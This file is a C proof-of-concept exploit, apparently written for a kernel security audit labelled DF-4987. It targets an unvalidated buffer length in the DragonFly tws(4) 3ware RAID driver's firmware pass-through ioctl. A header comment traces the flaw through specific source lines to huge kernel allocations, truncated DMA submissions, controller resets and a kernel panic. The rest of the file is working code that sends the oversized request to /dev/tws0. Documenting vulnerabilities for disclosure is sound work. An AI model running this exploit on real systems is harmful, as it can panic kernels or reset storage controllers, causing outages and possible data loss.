DF-4987 / tws_pt_len.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 | /* * DF-4987 PoC โ tws(4) TWS_IOCTL_FIRMWARE_PASS_THROUGH with an unvalidated * driver_pkt.buffer_length. * * sys/dev/raid/tws/tws_user.c:117 req->length = ubuf->driver_pkt.buffer_length; * (u_int32_t, fully caller-controlled; never checked against * TWS_MAX_IO_SIZE = 128 kB or any other bound) * * tws_user.c:120 kmalloc(req->length, M_TWS, M_WAITOK | M_ZERO) * tws_user.c:121 copyin(ubuf->pdata, req->data, req->length) [error ignored] * tws_user.c:142 lksleep(req, &sc->gen_lock, 0, ..., 60*hz) [no PCATCH: * uninterruptible for 60 s] * tws_user.c:146 tws_reset(sc) on timeout [controller-wide reset] * * Consequences, per the DMA path: * - kmalloc of arbitrary size (up to ~4 GB) zeroed kernel memory per call; * - bus_dmamap_load() (maxsize 128 kB, 46 segs) walks the whole buffer, * delivers EFBIG to tws_dmamap_data_load_cbfn which only TRACEs it and * SUBMITS the command anyway with a truncated SGL (tws_cam.c:1019-1048); * - if the buffer needs more bounce pages than the tag's private zone holds * (RAM above 4 GB backing the kmalloc), bus_dmamap_load returns * EINPROGRESS and sys/platform/pc64/x86_64/busdma_machdep.c:793-799 * panics: "protected dmamap callback will be defered" (unconditional * panic(); the KKASSERT above it fires even earlier because tws sets * both BUS_DMA_PRIVBZONE and BUS_DMA_ALLOCALL). * * Requires /dev/tws0 (LSI 3ware 9700/9750 present, node is root-only 0600). * On a guest without the controller this exits with ENOENT โ that is the * expected hardware-gated outcome. */ #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> /* ---- mirror of sys/dev/raid/tws/{tws_hdm.h,tws_user.h} (packed) ---- */ #define TWS_SENSE_DATA_LENGTH 18 #define TWS_ERROR_SPECIFIC_DESC_LEN 98 struct tws_driver_packet { unsigned int control_code; unsigned int status; unsigned int unique_id; unsigned int sequence_id; unsigned int os_status; unsigned int buffer_length; } __attribute__((packed)); struct tws_command_header { /* 128 bytes */ unsigned char sense_data[TWS_SENSE_DATA_LENGTH]; struct { unsigned short srcnum; unsigned char reserved; unsigned char status; unsigned short error; unsigned char res__srcid; unsigned char res__severity; } __attribute__((packed)) status_block; unsigned char err_specific_desc[TWS_ERROR_SPECIFIC_DESC_LEN]; struct { unsigned char size_header; unsigned short request_id; unsigned char size_sense; } __attribute__((packed)) header_desc; } __attribute__((packed)); struct tws_command_apache { /* 896 bytes */ unsigned char res__opcode; unsigned char unit; unsigned short lun_l4__req_id; unsigned char status; unsigned char sgl_offset; unsigned short lun_h4__sgl_entries; unsigned char cdb[16]; unsigned char sg_list[744]; unsigned char padding[128]; } __attribute__((packed)); struct tws_command_packet { /* 1024 bytes */ struct tws_command_header hdr; struct tws_command_apache cmd; } __attribute__((packed)); struct tws_ioctl_no_data_buf { /* 1532 bytes packed */ struct tws_driver_packet driver_pkt; void *pdata; char padding[488 - sizeof(void *)]; struct tws_command_packet cmd_pkt; } __attribute__((packed)); #define TWS_IOCTL_FIRMWARE_PASS_THROUGH \ _IOWR('T', 202, struct tws_ioctl_no_data_buf) int main(int argc, char **argv) { static struct tws_ioctl_no_data_buf buf; unsigned long len = (argc > 1) ? strtoul(argv[1], NULL, 0) : 0x7fff0000u; int fd, error; fd = open("/dev/tws0", O_RDWR); if (fd < 0) { printf("open(/dev/tws0): %s โ no 3ware controller on this machine " "(hardware-gated, expected on the audit guest)\n", strerror(errno)); return (2); } /* non-SCSI opcode (0x00 NOP) so the generic path is taken */ buf.cmd_pkt.cmd.res__opcode = 0x00; buf.cmd_pkt.cmd.cdb[0] = 0x00; buf.driver_pkt.buffer_length = (unsigned int)len; buf.pdata = (void *)0x1000; /* any user mapping */ memset((void *)0x1000, 0, 16); /* keep the copyin short */ printf("DF4987: issuing passthru with buffer_length=0x%x (%u bytes)\n", (unsigned)len, (unsigned)len); error = ioctl(fd, TWS_IOCTL_FIRMWARE_PASS_THROUGH, &buf); printf("DF4987: ioctl returned %d (errno=%s) os_status=%u\n", error, strerror(errno), buf.driver_pkt.os_status); close(fd); return (0); } |